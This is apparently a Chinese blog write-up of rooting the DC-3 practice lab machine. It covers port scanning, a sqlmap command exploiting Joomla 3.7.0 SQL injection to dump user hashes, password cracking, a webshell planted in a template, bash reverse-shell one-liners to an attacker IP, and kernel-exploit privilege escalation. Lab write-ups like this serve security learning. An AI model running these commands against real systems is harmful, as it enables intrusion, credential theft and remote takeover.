信息收集
arp-scan探测位置,nmap去进行一个初步的扫描。发现他运行在ubuntu上,只开放80端口,但是按照之前的经验,有可能把特殊端口藏起来了,用masscan查一遍全端口,在信息收集的步骤越详细越好。顺序可以是masscan-nmap,偷懒了==。
我自己写了一个masscan处理结果转nmap的脚本,并且将输出结果进行了格式化,有需要可以联系我,还暂时没有对其进行优化,自用而言也没有打算优化了。还有各种开源的脚本但是不太符合我的习惯,建议各位可以去github搜索下成熟的开源脚本。
打开80端口发现他有提示说
应该是说只有web这一个入口去提权了,查看一些版本说明去搜索joomla的详情工具等。
[FreeBuf] https://www.freebuf.com/sectool/181440.html joomscan扫描工具
kali中自带该工具,扫描后发现版本信息后台信息等,去根据版本匹配漏洞发现3.7.0存在sql注入漏洞,kali利用searchspolit进行搜索发现用sqlmap即可对其进行利用,具体的sqlmap利用语句可以用searchspolit进行查看。
获取网站后台权限
获得数据库信息,获取表信息后去查看表的内容。最后的sqlmap语句如下所示:
sqlmap -u "http://192.168.1.16/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --dump -p list[fullordering]
在这个过程中利用了msfconsole的exp失败,去github上搜索了下发现不如用sqlmap查找的方便。
利用john工具尝试对密码进行破解。
得到用户名密码,admin/snoopy,进入网页后台,这里需要注意网页后台的地址在joomscan扫描出来的地方,直接登录index.php是网站的前台。
获取普通用户权限
进入后查找上传点,在模板处发现可以编辑的地方,原本想传个php小马,具体webshell请参考:
[GITHUB] https://github.com/tennc/webshell webshell
后来发现模板路径之类的很麻烦,于是写在了index.php中。
需要注意要找对模板,我写的是antsword的马,蚁剑连接成功。
现在为了方便可以起一个nc监听反连过来,具体可以参考文章:
[ctrl_TT豆] https://www.cnblogs.com/-chenxs/p/11748488.html NC反弹shell的几种方法
单纯的使用会因为sh的解析出错,可以用bash -c 的方法进行绕过
bash -i >& /dev/tcp/192.168.1.17/4444 0>&1
bash -c 'bash -i >& /dev/tcp/192.168.1.17/4444 0>&1'
成功获取shell。
获取root用户权限
尝试了DC-1与DC-2的方法后,发现办法进行提权,参考脏牛漏洞,可能需要内核漏洞去提权,查看内核版本:
lsb_release -a
uname -a
查看到是ubuntu16.04/4.4.0版本。
利用searchspolit进行查找选择,利用4.4.x的漏洞去尝试提权
获取地址在这里。注意看能否ping通,不能需要修改hosts或者dns解析。
本机起http.server让其进行下载,下载成功后进行解压缩,
获取到root权限结束
总结
对于linux内核的提权还需要进行学习,原理和利用手法都不是很熟练,还需要加强学习。对于linux内核漏洞的选择还没有很深刻的认识。